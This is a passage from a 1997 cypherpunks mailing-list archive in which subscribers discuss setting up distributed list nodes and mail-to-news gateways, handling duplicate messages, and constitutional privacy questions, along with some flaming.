is in place. It feeds from cypherpunks at algebra.com. Bryan Reece > > > reece at taz.nceye.net runs the posting bot. taz.nceye.net is an open > > > newsserver offering several cypherpunks newsgroups. > > > > > > I am not yet sure if taz is now a part of the mainstream usenet, that > > > is, it may not be connected to the Big USENET. > > > > > > It receives some Big Usenet groups, but only for local users. > > > alt.cypherpunks is open, but there will be long delays, on the > > > order of a day, for articles there (unless someone better connected to > > > Usenet wants to feed me alt.cypherpunks.*---any volunteers?). > > > > > > > I just set up a recipe for using mail2news gateways like this: > > > > :0 c > > | formail -I "Newsgroups: alt.cypherpunks,misc.misc" | \ > > sendmail mail2news at anon.lcs.mit.edu mail2news at utopia.hacktic.nl > > > > Any objections? > > > > - Igor. > > It would be more mailing-list-like to have the list in a separate, > isolated hierarchy. That would avoid the principal problems of Usenet > (delays and email spam). It is a very good objections. I would like readers to speak up and say their word for or against forwarding the list messages to alt.cypherpunks. If a significant number of people objects (2-3 is enough) I will disable this feature. - Igor. From pete at idaho.ubisg.com Mon Feb 17 18:19:56 1997 From: pete at idaho.ubisg.com (Peter J. Capelli) Date: Mon, 17 Feb 1997 18:19:56 -0800 (PST) Subject: The Science Generations, II In-Reply-To: <199702172056.MAA13556@toad.com> Message-ID: <199702180218.VAA24435@idaho.ubisg.com> < snow writes > > This is where I often get a little confused. > > Correct me if I am wrong, but it was my understanding that the > constitutuion was _not_ a document that explicitly spelled out what writes > _I_ had, but rather spelled out fairly precisely what the _government_ was > allowed to do. > > In otherwords, the Constitution does not restrict _me_ rather it > restricts the _feds_ (and the Feds alone). > > My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government > can only, ONLY do what the constitution says it can. > > ??? ( non-US residents, tune out ... ) This is the way it ( the constitution ) was written to work; however, the feds have found an interesting way around this. Here, in two easy steps, is their secret backdoor through the constitution: Step 1: Take our money in federal taxes. Step 2: Refuse to give it back to us unless we follow their guidelines. It's been done time and time again, "for our own good". Witness the country-wide drinking age of 21 ( if states don't enact it, they lose their highway funds ), or the upcoming welfare "return" to the states. So, while the Federal government doesn't enact the legislation, they have a big enough stick to force states and local govt. to bend to their "suggestion". Sorry. -pete -- Pete Capelli, CNE UB Networks, Inc. pcapelli at ub.com ****** Finger pete at idaho.ubisg.com for my PGP Public key! ****** They that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety. - Benjamin Franklin, 1759 From jimbell at pacifier.com Mon Feb 17 18:57:59 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 17 Feb 1997 18:57:59 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180256.SAA14316@mail.pacifier.com> At 03:52 PM 2/17/97 -0700, drose at AZStarNet.com wrote: >Yea, (as D. Thorn might babble, if I understand the shards of his stuff >quoted in the posts of those who should know better) when I was a young >fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you >have any idea what metallic sodium and red fuming nitric acid and Willy >Ley-strength Hydrogen Peroxide are all about?" Yes, those nosy shopkeepers should really keep it to themselves! I remember at about age 14 being pissed because I'd been sold _10%_ nitric acid, when I was expecting the 70% stuff! Within a few weeks I was buying direct from his supplier! Jim Bell jimbell at pacifier.com From ichudov at algebra.com Mon Feb 17 19:21:02 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Mon, 17 Feb 1997 19:21:02 -0800 (PST) Subject: List of reliable remailers Message-ID: <199702180321.TAA21401@toad.com> Raph Levien wrote: > > information about remailer features and reliability. > > To use it, just finger remailer-list at kiwi.cs.berkeley.edu > > There is also a Web version of the same information, plus lots of > interesting links to remailer-related resources, at: > http://www.cs.berkeley.edu/~raph/remailer-list.html > Raph, Would it be possible to use your testing program to test reliability of cypherpunks mailing lists? Thank you. igor From dthorn at gte.net Mon Feb 17 19:21:54 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 19:21:54 -0800 (PST) Subject: Cypherpunks FAQ Message-ID: <199702180321.TAA21415@toad.com> Toto wrote: > ISP_Ratings wrote: > > Yes--and given the role Dr. Vulis has played in this matter > > it would be most appropriate for him to write an FAQ (although > > I personally ignore most FAQs). >Perhaps it would be more appropriate for the good doctor to write a FUQs. Why not do it like the Declaration of Independence? A primary author puts the basic document together, and other persons with expertise in other important areas add to it, then it gets circulated on the list for comments and suggestions. "Other areas" not normally addressed in these kinds of documents should include subscribers' awareness that the crypto lists are a prime target of attention from federal agencies, et al, and that much of the material posted could be pure disinformation. From ichudov at algebra.com Mon Feb 17 19:22:18 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Mon, 17 Feb 1997 19:22:18 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702180322.TAA21437@toad.com> Bryan Reece wrote: > > It is in place. It feeds from cypherpunks at algebra.com. Bryan Reece > reece at taz.nceye.net runs the posting bot. taz.nceye.net is an open > newsserver offering several cypherpunks newsgroups. > > I am not yet sure if taz is now a part of the mainstream usenet, that > is, it may not be connected to the Big USENET. > > It receives some Big Usenet groups, but only for local users. > alt.cypherpunks is open, but there will be long delays, on the > order of a day, for articles there (unless someone better connected to > Usenet wants to feed me alt.cypherpunks.*---any volunteers?). > I just set up a recipe for using mail2news gateways like this: :0 c | formail -I "Newsgroups: alt.cypherpunks,misc.misc" | \ sendmail mail2news at anon.lcs.mit.edu mail2news at utopia.hacktic.nl Any objections? - Igor. From reece at taz.nceye.net Mon Feb 17 19:22:25 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Mon, 17 Feb 1997 19:22:25 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702180322.TAA21451@toad.com> Delivered-To: reece-cpunks-raw at nceye.net Date: Mon, 17 Feb 1997 19:07:25 -0600 (CST) Cc: cypherpunks at toad.com, wcampbel at peganet.com Reply-To: ichudov at algebra.com (Igor Chudov) From: ichudov at algebra.com (Igor Chudov @ home) X-No-Archive: yes Organization: Bool Sheet Software X-Mailer: ELM [version 2.4 PL24 ME7] Content-Type: text Sender: owner-cypherpunks at toad.com Precedence: bulk Mark M. wrote: > - Newsgroups alt.cypherpunks, alt.cypherpunks.announce, > alt.cypherpunks.social, alt.cypherpunks.technical have been created. ... Along with several others. > - The distributed list is still forming and so far consists of > cypherpunks at algebra.com, cypherpunks at ssz.com, and others of which I > do not know the location. A mail<->news gateway is planned, but not > yet in place, between the distributed list and the newsgroup(s). It is in place. It feeds from cypherpunks at algebra.com. Bryan Reece reece at taz.nceye.net runs the posting bot. taz.nceye.net is an open newsserver offering several cypherpunks newsgroups. I am not yet sure if taz is now a part of the mainstream usenet, that is, it may not be connected to the Big USENET. It receives some Big Usenet groups, but only for local users. alt.cypherpunks is open, but there will be long delays, on the order of a day, for articles there (unless someone better connected to Usenet wants to feed me alt.cypherpunks.*---any volunteers?). From pete at idaho.ubisg.com Mon Feb 17 19:22:31 1997 From: pete at idaho.ubisg.com (Peter J. Capelli) Date: Mon, 17 Feb 1997 19:22:31 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180322.TAA21459@toad.com> < snow writes > > This is where I often get a little confused. > > Correct me if I am wrong, but it was my understanding that the > constitutuion was _not_ a document that explicitly spelled out what writes > _I_ had, but rather spelled out fairly precisely what the _government_ was > allowed to do. > > In otherwords, the Constitution does not restrict _me_ rather it > restricts the _feds_ (and the Feds alone). > > My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government > can only, ONLY do what the constitution says it can. > > ??? ( non-US residents, tune out ... ) This is the way it ( the constitution ) was written to work; however, the feds have found an interesting way around this. Here, in two easy steps, is their secret backdoor through the constitution: Step 1: Take our money in federal taxes. Step 2: Refuse to give it back to us unless we follow their guidelines. It's been done time and time again, "for our own good". Witness the country-wide drinking age of 21 ( if states don't enact it, they lose their highway funds ), or the upcoming welfare "return" to the states. So, while the Federal government doesn't enact the legislation, they have a big enough stick to force states and local govt. to bend to their "suggestion". Sorry. -pete -- Pete Capelli, CNE UB Networks, Inc. pcapelli at ub.com ****** Finger pete at idaho.ubisg.com for my PGP Public key! ****** They that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety. - Benjamin Franklin, 1759 From camcc at abraxis.com Mon Feb 17 19:22:36 1997 From: camcc at abraxis.com (Alec) Date: Mon, 17 Feb 1997 19:22:36 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702180322.TAA21460@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:28 PM 2/17/97 -0800, you wrote: :anomalies in the new system, [now the big words!] :given the haste in which they must initiate a new distributed :mailing list system. : On the other hand, they may all be godless communists, seeking :to twist our fragile minds to do their bidding. (Much like myself) : :Toto I recant. You ARE nuts! Alec Niice post. -----BEGIN PGP SIGNATURE----- Version: 4.5 Comment: Message PGP 2.6.2. encrypted. Public key available on request or from keyservers. iQCVAgUBMwkMFiKJGkNBIH7lAQHNKQP/dDV5v6wREV37IPkaJTfQqL35c4MyFNfK t4/KmgneKmzGX9uqGzd8Z6kCeRk5vBhAbrhVsqaOhvZouakj2YWe1JbRZWmy+gNR ohY2NERNi0Xm5S1PUrwjQAJutFlw2VV+CZ4GYa/0IV3Fn++GzeZFENbOt6zBTkEZ PsWVhjvoRPU= =3ZEn -----END PGP SIGNATURE----- From ichudov at algebra.com Mon Feb 17 19:22:42 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Mon, 17 Feb 1997 19:22:42 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702180322.TAA21472@toad.com> Bryan Reece wrote: > > Igor Chudov writes: > > Bryan Reece wrote: > > > > > > It is in place. It feeds from cypherpunks at algebra.com. Bryan Reece > > > reece at taz.nceye.net runs the posting bot. taz.nceye.net is an open > > > newsserver offering several cypherpunks newsgroups. > > > > > > I am not yet sure if taz is now a part of the mainstream usenet, that > > > is, it may not be connected to the Big USENET. > > > > > > It receives some Big Usenet groups, but only for local users. > > > alt.cypherpunks is open, but there will be long delays, on the > > > order of a day, for articles there (unless someone better connected to > > > Usenet wants to feed me alt.cypherpunks.*---any volunteers?). > > > > > > > I just set up a recipe for using mail2news gateways like this: > > > > :0 c > > | formail -I "Newsgroups: alt.cypherpunks,misc.misc" | \ > > sendmail mail2news at anon.lcs.mit.edu mail2news at utopia.hacktic.nl > > > > Any objections? > > > > - Igor. > > It would be more mailing-list-like to have the list in a separate, > isolated hierarchy. That would avoid the principal problems of Usenet > (delays and email spam). It is a very good objections. I would like readers to speak up and say their word for or against forwarding the list messages to alt.cypherpunks. If a significant number of people objects (2-3 is enough) I will disable this feature. - Igor. From ichudov at algebra.com Mon Feb 17 19:23:36 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Mon, 17 Feb 1997 19:23:36 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702180323.TAA21509@toad.com> Mark M. wrote: > - Newsgroups alt.cypherpunks, alt.cypherpunks.announce, > alt.cypherpunks.social, alt.cypherpunks.technical have been created. ... Along with several others. > - The distributed list is still forming and so far consists of > cypherpunks at algebra.com, cypherpunks at ssz.com, and others of which I > do not know the location. A mail<->news gateway is planned, but not > yet in place, between the distributed list and the newsgroup(s). It is in place. It feeds from cypherpunks at algebra.com. Bryan Reece reece at taz.nceye.net runs the posting bot. taz.nceye.net is an open newsserver offering several cypherpunks newsgroups. I am not yet sure if taz is now a part of the mainstream usenet, that is, it may not be connected to the Big USENET. > cypherpunks at algebra.com is receiving messages from > cypherpunks-unedited. I assume this means that the other hosts part > of the distributed list are also receiving cypherpunks-unedited > messages. Correct. > - Lance Cottrell is running another list (cypherpunks at cyberpass.net) that is > not yet part of the distributed list. It is also receiving feed from > toad.com. I will subscribe to it. Now, it is important to realize that Lance's machine is probably much better connected than mine. Once we get connected with him, you may be better off reading cypherpunks from cypherpunks at cyberpass.net. If you su-bsc-ribe to cypherpunks at algebra.com, it may take longer for articles to reach you. > If you don't want to miss any messages, then you should subscribe to both > cypherpunks at cyberpass.net and one of the distributed list nodes. Since both > are receiving cypherpunks-unedited, you can safely unsubscribe from > cypherpunks-unedited, -flames, or the "main" list. Since these lists have > overlapping content, you should delete duplicates. I still think that it is a good idea to do nothing for several days and wait until the distributed network picks up cyberpass. Then, subscribe to any node of your liking. - Igor. From dthorn at gte.net Mon Feb 17 19:30:05 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 19:30:05 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702180330.TAA21698@toad.com> Timothy C. May wrote: > >> Some legal scholars are claiming that there is no provision in the > >> Constitution guaranteeing anonymity of purchases, and, indeed, a growing > >> number of purchases can no longer be anonymous--guns, explosives, chemicals > >> of various sorts, etc. How long before _all_ transactions must be recorded, > >> True Names revealed, etc.? [snip] > The issue hit when abortion advocates argued that a "woman's right to > privacy" allowed abortions. However, none of the enumerated rights made > this obvious. Bork has opined that no right to privacy can be inferred from > the Constitution. (And I always thought the "woman's right to privacy" > argument for abortion was flaky. Accepting such an argument, wouldn't > infanticide be equally protected by a woman's right to privacy?) A perfect invitation for rational argument. You obviously refer to the privacy/right to destroy your own personal property, which you pretty much have in the U.S., Constitution or no. So the issue above is whether the unborn baby is personal property (in the sense that I can chop off my hair or even my ear if I want to), or the child is personal property. The child issue has been settled effectively for many years now, but the controversy remains on the unborn. At least some of this privacy discussion would be better presented from another angle - how deep would the feds want to probe into the common folks' lives, what techniques would be employed, how would the serious folks get around those things, and where would the greatest (and most serious) amount of actions converge to flare up in the public consciousness (media, internet, etc.)? From markm at voicenet.com Mon Feb 17 19:32:33 1997 From: markm at voicenet.com (Mark M.) Date: Mon, 17 Feb 1997 19:32:33 -0800 (PST) Subject: The Science Generations, II In-Reply-To: <0n2APH200YUe0Bfrk0@andrew.cmu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Mon, 17 Feb 1997, Jeremiah A Blatz wrote: > You neglect things like the interstate commerce provision, which means > that if it crosses state lines, the feds can regualte it. In addition, > the court (in its infinite wisdom), decided that "the people" meant > the states, then the people. So, as long as it isn't meantioned in the > constitution, the states can do whatever they want. The 10th amendment states: "The powers not delegated to the United States by the Constitution, nor prohibited by it to the states, are reserved to the states respectively, or to the people." This sounds pretty clear to me. Theoretically, the states can do whatever they want as long as they don't infringe on the rights of the people. The 9th amendment protects all rights not explicitly stated in the constitution. The 5th and 14th amendments both protect people from losing life, liberty, or property without due process. I believe that the 14th was used as justification for Roe vs. Wade, since the court decided that abortion is a liberty and any law forbidding it deprives a woman of liberty without due process. Of course, in practice, we know that the situation is much different... Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMwkjwSzIPc7jvyFpAQE9QwgAj+op9T6AT858eS89RyAiYnwP02APgr3I 1ZkguMV5JiJWOKrhXu54/k7sVam4sxCftvC3Poon9K4yCQ+rtTUL3bF81+ppdXMr cCfEMU5RNZVDU5sddR5nWkOHagXFatSYK6v7IUqYfquWgq1/9m6NQIO25+RleHmv nz9ZjaeWdljPx0SWjg77Ul8/8fJkNn/sHn3rTBUdNeGBLkipAY82vv4hZFC2A8uf zAjbD+GEYl4Vbu+GpOPkb+RDkECZ762zVQ2DX4yHeGq58Ejs/a4+XHXT6MqYs8Xy phnluL347m/OrDCPekCT4nOgt0zHGoDQ8PYinxbDUjxLHC7rOzKe9g== =5iIy -----END PGP SIGNATURE----- From EALLENSMITH at ocelot.Rutgers.EDU Mon Feb 17 19:57:08 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Mon, 17 Feb 1997 19:57:08 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <01IFJFI7LF848Y4YVV@mbcl.rutgers.edu> From: ichudov at algebra.com (Igor Chudov @ home) >Bryan Reece wrote: >> >> It receives some Big Usenet groups, but only for local users. >> alt.cypherpunks is open, but there will be long delays, on the >> order of a day, for articles there (unless someone better connected to >> Usenet wants to feed me alt.cypherpunks.*---any volunteers?). Well, Lance Cottrell would appear to be a good person to ask on this matter, but... >I just set up a recipe for using mail2news gateways like this: >:0 c >| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | \ > sendmail mail2news at anon.lcs.mit.edu mail2news at utopia.hacktic.nl >Any objections? given that mail2news at anon.lcs.mit.edu gets one of its USENET feeds via cyberpass.net, it would appear to be unnecessary if this recipe is in use. However, I do have one problem with this recipe: lack of loop prevention if a news2mail gateway is going in the other direction. I don't know, but the mail2news gateway folks may not be too happy with this idea either, given massively increased load; this is particularly true since IIRC misc.misc is _not_ the proper place to crosspost stuff from & to; it's only for stuff that _really_ doesn't fall under any other category. (I've crossposted this message to the remailer-operators mailing list to make sure it gets to the operators of the gateways in question.) In regards to your later query about whether people want their postings going to Usenet, might I suggest that this be individual to the given distributed mailing list? In other words, since the recipe is logically going to have to not forward to a gateway messages from other mailing lists (since it's not a good idea to have multiple copies of the same message arriving at the gateway if it can be helped; better to filter it out beforehand), some of the mailing lists can forward and the others cannot. (One could even determine this behavior on application of the proper X-header, although I never trust various mailing systems to forward such intact.) The same could also be done with gatewaying _from_ Usenet - if the news2mail gateway feeds to whatever individual lists sign up to it and they _don't_ forward such messages to others, people can decide whether or not to receive Usenet postings on alt.cypherpunks.* by which list they subscribe to. -Allen P.S. A thank you to Reece for setting up a gateway; I had looked at the program and did _not_ much like the idea of having to maintain it on my limited knowledge of C/C++ and mailing software. From jimbell at pacifier.com Mon Feb 17 20:02:10 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 17 Feb 1997 20:02:10 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180402.UAA22251@toad.com> At 03:52 PM 2/17/97 -0700, drose at AZStarNet.com wrote: >Yea, (as D. Thorn might babble, if I understand the shards of his stuff >quoted in the posts of those who should know better) when I was a young >fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you >have any idea what metallic sodium and red fuming nitric acid and Willy >Ley-strength Hydrogen Peroxide are all about?" Yes, those nosy shopkeepers should really keep it to themselves! I remember at about age 14 being pissed because I'd been sold _10%_ nitric acid, when I was expecting the 70% stuff! Within a few weeks I was buying direct from his supplier! Jim Bell jimbell at pacifier.com From drose at azstarnet.com Mon Feb 17 20:05:22 1997 From: drose at azstarnet.com (drose at azstarnet.com) Date: Mon, 17 Feb 1997 20:05:22 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180405.VAA14281@web.azstarnet.com> My dear fellow: I suppose you missed the notion that, on the Internet, *some* folks know that you are a dog. P.S. You, Dimi, D. Thorn, Dimi, "Nurdane Oskas", Dimi, "Awaken to Me", Dimi,"World's Youngest Cypherpunk", Dimi, "Andre the Cypherpunk", Dimi, etc. etc. are to be commended if not appreciated for your efforts in ruining an amazingly good thing. See you in alt.baloney. Incidentally, do you habitually defecate (FYI, that's "to discharge feces from the bowels") in your own single-wide? (Son, that's a rhetorical question.) The very fact that you shamelessly and boneheadedly refuse to keep your head down after all of the damage that you and your lot have caused (with 1K+ lurkers "looking on") is worthy, certainly, of some serious consideration. Ia! Ia! Cthulhu Fhtagn! >drose at azstarnet.com wrote: >> >> With regard to chemicals, may I suggest a perusal of the PGI and PML lists >> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? > > Sounds like this is an on-topic post for the 'flames' list. > >Toto > > > From reece at taz.nceye.net Mon Feb 17 20:24:04 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Mon, 17 Feb 1997 20:24:04 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: <01IFJFI7LF848Y4YVV@mbcl.rutgers.edu> Message-ID: <19970218042417.32658.qmail@taz.nceye.net> Date: Mon, 17 Feb 1997 22:55 EDT From: "E. Allen Smith" Well, Lance Cottrell would appear to be a good person to ask on this matter, but... >I just set up a recipe for using mail2news gateways like this: >:0 c >| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | \ > sendmail mail2news at anon.lcs.mit.edu mail2news at utopia.hacktic.nl >Any objections? given that mail2news at anon.lcs.mit.edu gets one of its USENET feeds via cyberpass.net, it would appear to be unnecessary if this recipe is in use. However, I do have one problem with this recipe: lack of loop prevention if a news2mail gateway is going in the other direction. All the mailing-list hosts are supposed to check for duplicates before forwarding anything, so this shouldn't do anything worse than have a few extra copies of each post get discarded, loading the network and the hosts a bit more. But posting the list to a widely-distributed newsgroup seems wrong for noise (both to the list itself and to posters) and delay reasons. (I've crossposted this message to the remailer-operators mailing list to make sure it gets to the operators of the gateways in question.) In regards to your later query about whether people want their postings going to Usenet, might I suggest that this be individual to the given distributed mailing list? In other words, since the recipe is logically going to have to not forward to a gateway messages from other mailing lists (since it's not a good idea to have multiple copies of the same message arriving at the gateway if it can be helped; better to filter it out beforehand), It doesn't seem an especially bad idea, since it some of the mailing lists can forward and the others cannot. (One could even determine this behavior on application of the proper X-header, although I never trust various mailing systems to forward such intact.) The same could also be done with gatewaying _from_ Usenet - if the news2mail gateway feeds to whatever individual lists sign up to it and they _don't_ forward such messages to others, people can decide whether or not to receive Usenet postings on alt.cypherpunks.* by which list they subscribe to. -Allen P.S. A thank you to Reece for setting up a gateway; I had looked at the program and did _not_ much like the idea of having to maintain it on my limited knowledge of C/C++ and mailing software. The code currently running is a perl script that turns typical email messages into something INN is happy with. It is probably possible to get your message rejected by INN if you put obsolete or otherwise unusual and illegal headers in. This may be a bug. From drose at azstarnet.com Mon Feb 17 20:39:38 1997 From: drose at azstarnet.com (drose at azstarnet.com) Date: Mon, 17 Feb 1997 20:39:38 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180439.VAA24310@web.azstarnet.com> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being subscribed to a million and one lists that I never knew I needed (and so quick!--appreciate the service, dude) this address, like c-punks at toad.com, is going away *real * quick, so save your keystrokes. From EALLENSMITH at ocelot.Rutgers.EDU Mon Feb 17 20:41:12 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Mon, 17 Feb 1997 20:41:12 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <01IFJH1ONXA88Y4YVV@mbcl.rutgers.edu> From: IN%"reece at taz.nceye.net" "Bryan Reece" 17-FEB-1997 23:23:10.06 >> use. However, I do have one problem with this recipe: lack of >> loop prevention if a news2mail gateway is going in the other direction. >All the mailing-list hosts are supposed to check for duplicates before >forwarding anything, so this shouldn't do anything worse than have a >few extra copies of each post get discarded, loading the network and >the hosts a bit more. But posting the list to a widely-distributed Umm... IIRC, the only person who's announced how he's filtering for duplicates is Igor, and he's just checking for messageIDs. Won't those get chunked on going through a mail2news gateway, and thus possibly come back through a news2mail gateway? The filtering mechanism could be improved via MD5 digests, etcetera (someone's already given a recipe for such; thank you), but even so various mungings could still set up a mailing loop. (Yes, I'm paranoid about those; I may have been reading list-managers for too long and seen too many stories on there.) The sensible place to keep track of possible duplicates is at the gateway; it can certainly filter based on that it (or, for that matter, another known bidirectional gateway) sent a message out. >newsgroup seems wrong for noise (both to the list itself and to >posters) and delay reasons. Delay reasons being that mail will go to Usenet, go all over the place there, and then get replied to later than if it were just on the mailing list(s)? A potential problem, yes. But (especially given the options I mentioned below), this would appear to be a matter for individual users to decide by which list they go with and any added control headers. Maximum individual sovreignty (sp?). >> In regards to your later query about whether people want their postings >> going to Usenet, might I suggest that this be individual to the given >> distributed mailing list? In other words, since the recipe is logically >> going to have to not forward to a gateway messages from other mailing >> lists (since it's not a good idea to have multiple copies of the same >> message arriving at the gateway if it can be helped; better to filter >> it out beforehand), >It doesn't seem an especially bad idea, since it Thank you. Were you cut off? >> some of the mailing lists can forward and the >> others cannot. (One could even determine this behavior on application >> of the proper X-header, although I never trust various mailing systems >> to forward such intact.) The same could also be done with gatewaying >> _from_ Usenet - if the news2mail gateway feeds to whatever individual >> lists sign up to it and they _don't_ forward such messages to others, >> people can decide whether or not to receive Usenet postings on >> alt.cypherpunks.* by which list they subscribe to. >The code currently running is a perl script that turns typical email >messages into something INN is happy with. It is probably possible to >get your message rejected by INN if you put obsolete or otherwise >unusual and illegal headers in. This may be a bug. That would probably depend on: A. if any other circumstances other than deliberately sabotaging your message's translation would also disrupt its chances of getting through seriously, particularly if they weren't something you'd spot; and B. if sufficiently bad messages would disrupt INN's operations too much. You'd know a lot more than I would in regard to the latter, and probably the former. I was last a serious participant on USENET on a Vax running VMS (via Bitnet, as a matter of fact... a while back). -Allen From terryld at earthlink.net Mon Feb 17 20:45:09 1997 From: terryld at earthlink.net (Terry L. Davis) Date: Mon, 17 Feb 1997 20:45:09 -0800 (PST) Subject: Removal from newsgroup listing Message-ID: <33093394.41F3@earthlink.net> I'm not certain how I got on the cypherpunks newlist, but it's way over my head. Please removed terryld at earthlink.com from cypherpunks at toad.com Thanks From das at razor.engr.sgi.com Mon Feb 17 21:00:08 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Mon, 17 Feb 1997 21:00:08 -0800 (PST) Subject: Message-Id / mail2news gateways. Message-ID: <9702172059.ZM3730@razor.engr.sgi.com> This is for all the volunteers who are working on setting up the distributed cypherpunks mailing lists. 1) Please preserver Message-Ids while resending messages. The Message-Id is intended to be unique to a message and can be used to reject duplicates. Usenet software in particular, detects duplicates by Message-Id. 2) In response to Igor's query, I would very much like at least on of the distributed lists to be set up such that messages sent there will *not* be gatewayed to Usenet. As I mentioned, I will not post to Usenet with my real email address, and if all lists get gatewayed to alt.cypherpunks, I have to set up fake email headers to mail to the lists also. If at least one of the lists can gaurantee that it won't be gatewayed to Usenet, I don't have to do that, and as a nice bonus, Prof. Froomkin can continue to be active on cypherpunks. This can be achieved by the list software adding an "X-Post-to-Usenet: No" or some similar header to every message it sends out. Also a header, such as X-List: should be set to indicate under which mailing list a message first entered the system. This will be worthless unless all the list servers honor these headers. Thanks. -- Anil Das From drose at azstarnet.com Mon Feb 17 21:11:07 1997 From: drose at azstarnet.com (drose at azstarnet.com) Date: Mon, 17 Feb 1997 21:11:07 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180511.VAA23595@toad.com> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being subscribed to a million and one lists that I never knew I needed (and so quick!--appreciate the service, dude) this address, like c-punks at toad.com, is going away *real * quick, so save your keystrokes. From drose at azstarnet.com Mon Feb 17 21:11:12 1997 From: drose at azstarnet.com (drose at azstarnet.com) Date: Mon, 17 Feb 1997 21:11:12 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180511.VAA23606@toad.com> My dear fellow: I suppose you missed the notion that, on the Internet, *some* folks know that you are a dog. P.S. You, Dimi, D. Thorn, Dimi, "Nurdane Oskas", Dimi, "Awaken to Me", Dimi,"World's Youngest Cypherpunk", Dimi, "Andre the Cypherpunk", Dimi, etc. etc. are to be commended if not appreciated for your efforts in ruining an amazingly good thing. See you in alt.baloney. Incidentally, do you habitually defecate (FYI, that's "to discharge feces from the bowels") in your own single-wide? (Son, that's a rhetorical question.) The very fact that you shamelessly and boneheadedly refuse to keep your head down after all of the damage that you and your lot have caused (with 1K+ lurkers "looking on") is worthy, certainly, of some serious consideration. Ia! Ia! Cthulhu Fhtagn! >drose at azstarnet.com wrote: >> >> With regard to chemicals, may I suggest a perusal of the PGI and PML lists >> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? > > Sounds like this is an on-topic post for the 'flames' list. > >Toto > > > From das at razor.engr.sgi.com Mon Feb 17 21:11:17 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Mon, 17 Feb 1997 21:11:17 -0800 (PST) Subject: Message-Id / mail2news gateways. Message-ID: <199702180511.VAA23620@toad.com> This is for all the volunteers who are working on setting up the distributed cypherpunks mailing lists. 1) Please preserver Message-Ids while resending messages. The Message-Id is intended to be unique to a message and can be used to reject duplicates. Usenet software in particular, detects duplicates by Message-Id. 2) In response to Igor's query, I would very much like at least on of the distributed lists to be set up such that messages sent there will *not* be gatewayed to Usenet. As I mentioned, I will not post to Usenet with my real email address, and if all lists get gatewayed to alt.cypherpunks, I have to set up fake email headers to mail to the lists also. If at least one of the lists can gaurantee that it won't be gatewayed to Usenet, I don't have to do that, and as a nice bonus, Prof. Froomkin can continue to be active on cypherpunks. This can be achieved by the list software adding an "X-Post-to-Usenet: No" or some similar header to every message it sends out. Also a header, such as X-List: should be set to indicate under which mailing list a message first entered the system. This will be worthless unless all the list servers honor these headers. Thanks. -- Anil Das From EALLENSMITH at ocelot.Rutgers.EDU Mon Feb 17 21:11:25 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Mon, 17 Feb 1997 21:11:25 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702180511.VAA23635@toad.com> From: IN%"reece at taz.nceye.net" "Bryan Reece" 17-FEB-1997 23:23:10.06 >> use. However, I do have one problem with this recipe: lack of >> loop prevention if a news2mail gateway is going in the other direction. >All the mailing-list hosts are supposed to check for duplicates before >forwarding anything, so this shouldn't do anything worse than have a >few extra copies of each post get discarded, loading the network and >the hosts a bit more. But posting the list to a widely-distributed Umm... IIRC, the only person who's announced how he's filtering for duplicates is Igor, and he's just checking for messageIDs. Won't those get chunked on going through a mail2news gateway, and thus possibly come back through a news2mail gateway? The filtering mechanism could be improved via MD5 digests, etcetera (someone's already given a recipe for such; thank you), but even so various mungings could still set up a mailing loop. (Yes, I'm paranoid about those; I may have been reading list-managers for too long and seen too many stories on there.) The sensible place to keep track of possible duplicates is at the gateway; it can certainly filter based on that it (or, for that matter, another known bidirectional gateway) sent a message out. >newsgroup seems wrong for noise (both to the list itself and to >posters) and delay reasons. Delay reasons being that mail will go to Usenet, go all over the place there, and then get replied to later than if it were just on the mailing list(s)? A potential problem, yes. But (especially given the options I mentioned below), this would appear to be a matter for individual users to decide by which list they go with and any added control headers. Maximum individual sovreignty (sp?). >> In regards to your later query about whether people want their postings >> going to 